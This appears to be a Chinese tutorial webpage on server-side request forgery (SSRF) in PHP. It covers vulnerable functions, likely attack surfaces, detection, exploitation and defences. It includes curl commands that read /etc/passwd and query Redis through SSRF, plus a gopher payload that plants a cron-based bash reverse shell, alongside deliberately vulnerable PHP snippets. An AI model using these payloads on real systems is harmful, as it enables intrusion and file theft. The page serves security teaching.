WEB常见漏洞之SSRF(基础原理篇)

简介: WEB常见漏洞之SSRF(基础原理篇)

0x01 漏洞概述

SSRFServer-side Request Forge )服务器端请求伪造, 由于服务端提供了从其他服务器应获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利存在缺陷的web作为代理,攻击其远程和本地的服务器。

漏洞产生相关函数

    file_get_contents()
    fsockopen()
    curl_exec()
    fopen()
    readfile()

    1.file_get_contents()

      <?php
      $url = $_GET['url'];;
      echo file_get_contents($url);
      ?>

      file_get_content函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

      2.fsockopen()

      <?php 
      function GetFile($host,$port,$link) { 
          $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
          if (!$fp) { 
              echo "$errstr (error number $errno) \n"; 
          } else { 
              $out = "GET $link HTTP/1.1\r\n"; 
              $out .= "Host: $host\r\n"; 
              $out .= "Connection: Close\r\n\r\n"; 
              $out .= "\r\n"; 
              fwrite($fp, $out); 
              $contents=''; 
              while (!feof($fp)) { 
                  $contents.= fgets($fp, 1024); 
              } 
              fclose($fp); 
              return $contents; 
          } 
      }
      ?>

      fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

      3.curl_exec()

      <?php 
      if (isset($_POST['url'])){
          $link = $_POST['url'];
          $curlobj = curl_init();// 创建新的 cURL 资源
          curl_setopt($curlobj, CURLOPT_POST, 0);
          curl_setopt($curlobj,CURLOPT_URL,$link);
          curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
          $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
          curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
          $filename = './curled/'.rand().'.txt';
          file_put_contents($filename, $result); 
          echo $result;
      }
      ?>

      curl_exec函数用于执行指定的cURL会话

      注:

      1.一般情况下PHP不会开启fopen的gopher wrapper
      2.file_get_contents的gopher协议不能URL编码
      3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
      4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
      5.curl_exec() //默认不跟踪跳转,
      6.file_get_contents() // file_get_contents支持php://input协议

      0x02 漏洞发现

      既然SSRF有这些危害,那我们要怎么发现哪里存在SSRF,发现了又怎么利用呢?接下来就好好唠唠这点。

      可以这么说,能够对外发起网络请求的地方,就可能存在SSRF漏洞,下面的内容引用了先知社区的一篇文章,文章链接在底部。

      具体可能出现SSRF的地方:

      社交分享功能:获取超链接的标题等内容进行显示
      转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
      在线翻译:给网址翻译对应网页的内容
      图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
      图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
      云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
      网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
      数据库内置功能:数据库的比如mongodb的copyDatabase函数
      邮件系统:比如接收邮件服务器地址
      编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
      未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
      从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

      0x03 漏洞验证

      1.排除法:浏览器f12查看源代码看是否是在本地进行了请求


      比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞

      2.dnslog等工具进行测试,看是否访问

      可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

      3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

      从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

      通过二级域名暴力猜解工具模糊猜测内网地址

      4.直接返回的Banner、title、content等信息

      5.留意bool型SSRF

      0x04 利用方式

      让服务端去访问相应的网址
      让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
      可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
      攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
      攻击内网应用程序(利用跨协议通信技术)
      判断内网主机是否存活:方法是访问看是否有端口开放
      DoS攻击(请求大文件,始终保持连接keep-alive always)

       SSRF漏洞利用的相关协议

      file:在有回显的情况下,利用 file 协议可以读取任意内容
      dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
      gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
      http/s:探测内网主机存活

      攻击运行在内网或本地的应用程序

      本地利用方式:

      1.使用file协议 file protocol (任意文件读取)


      curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"

      2.使用dict协议 dict protocol (获取Redis配置信息)


      curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"

      3.使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)


      curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"

      curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:

      curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思不带有任何参数时,curl 就是发出 GET 请求


      $ curl https://www.example.com

      上面命令向www.example.com发出 GET 请求,服务器返回的内容会在命令行输出-v参数输出通信的整个过程,用于调试。我们便可以利用-v参数进行读取文件

      使用file协议curl -v file:///etc/passwd
      使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
      使用dict协议 curl -v "dict://127.0.0.1:端口/info"
      使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"  

      0x05 漏洞防御

      1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

      2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

      3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

      4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

      5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。


      目录
      相关文章
      |
      3月前
      |
      SQL 云安全 安全
      常见的web漏洞,网站漏洞该怎么办
      随着互联网的发展,网站安全成为企业和个人关注焦点,尤其网站漏洞可能导致数据泄露、系统崩溃等严重后果。本文介绍了四种常见网站漏洞:XSS、SQL注入、文件包含和CSRF,以及它们的危害。为解决这些问题,建议加强代码审查、输入验证、使用安全API和库、访问控制等措施。此外,德迅云安全的漏洞扫描VSS服务可在Web漏洞扫描、弱密码扫描和中间件扫描等场景中发挥作用,帮助企业及时发现并处理安全问题,保障网站安全。
      |
      3天前
      |
      存储 NoSQL 关系型数据库
      Web中的数据库:原理、应用与代码实现
      Web中的数据库:原理、应用与代码实现
      |
      1月前
      |
      存储 安全 JavaScript
      Web漏洞挖掘:XSS与CSRF防护策略
      【7月更文挑战第11天】XSS和CSRF作为Web应用中常见的安全漏洞,对系统安全构成了严重威胁。通过实施上述防护策略,可以有效减少这些漏洞的风险。然而,Web安全攻防是一个持续不断的过程,开发者需要持续关注应用的安全性,更新和修补安全漏洞,同时加强自身的安全意识和防范技能,以确保Web应用的安全性和稳定性。
      |
      2月前
      |
      搜索推荐 Java 数据库连接
      探索Java Web开发:Servlet与JSP的协同工作原理
      【6月更文挑战第23天】Java Web开发中,Servlet和JSP协同打造动态网站。Servlet是服务器端的Java程序,处理HTTP请求并执行复杂逻辑;JSP则结合HTML和Java,生成动态内容。Servlet通过`doGet()`等方法响应请求,JSP在首次请求时编译成Servlet。两者常搭配使用,Servlet处理业务,JSP专注展示,通过`RequestDispatcher`转发实现数据渲染。这种组合是Java Web应用的基础,即使新技术涌现,其价值仍然重要,为开发者提供了强大的工具集。
      35 7
      |
      1月前
      |
      中间件 API 开发者
      深入理解Python Web框架:中间件的工作原理与应用策略
      【7月更文挑战第19天】Python Web中间件摘要:**中间件是扩展框架功能的关键组件,它拦截并处理请求与响应。在Flask中,通过`before_request`和`after_request`装饰器模拟中间件行为;Django则有官方中间件系统,需实现如`process_request`和`process_response`等方法。中间件用于日志、验证等场景,但应考虑性能、执行顺序、错误处理和代码可维护性。
      40 0
      |
      3月前
      |
      XML 网络协议 Java
      XML Web 服务技术解析:WSDL 与 SOAP 原理、应用案例一览
      XML Web服务是基于WSDL、SOAP、RDF和RSS等标准的网络应用程序组件技术。WSDL描述服务接口和消息格式,SOAP用于结构化信息交换,RDF描述网络资源,RSS则用于发布网站更新。Web服务特点是自包含、自描述,基于开放协议,可重用且能连接现有软件。WSDL文档包含`types`、`message`、`portType`和`binding`元素,定义服务操作和协议。SOAP协议规定消息格式,通过HTTP等传输。
      519 1
      |
      3月前
      |
      XML 云安全 安全
      了解常见的web漏洞-XXE漏洞,日常如何做好web安全
      随着网络技术的不断发展,网站安全问题日益受到人们的关注。当前随着技术发展,网站存在一些常见的可能被攻击者利用的漏洞,而在众多网站安全漏洞中,XXE(XML External Entity)漏洞是一个不容忽视的问题。今天我们就来分享了解一下关于XXE漏洞的概念、原理以及日常上有哪些可以措施可以防护网站安全。
      |
      3月前
      |
      机器学习/深度学习 人工智能 运维
      Web应用防火墙是什么?分享工作原理及部署建议
      Web应用防火墙是什么?分享工作原理及部署建议
      81 0
      |
      3月前
      |
      前端开发 JavaScript 安全
      深入探索 Qt6 web模块 WebEngineCore:从基础原理到高级应用与技巧
      深入探索 Qt6 web模块 WebEngineCore:从基础原理到高级应用与技巧
      430 0
      |
      3月前
      |
      Web App开发 存储 搜索推荐
      谈谈 Web 应用里界面图标 Icon 的显示原理
      谈谈 Web 应用里界面图标 Icon 的显示原理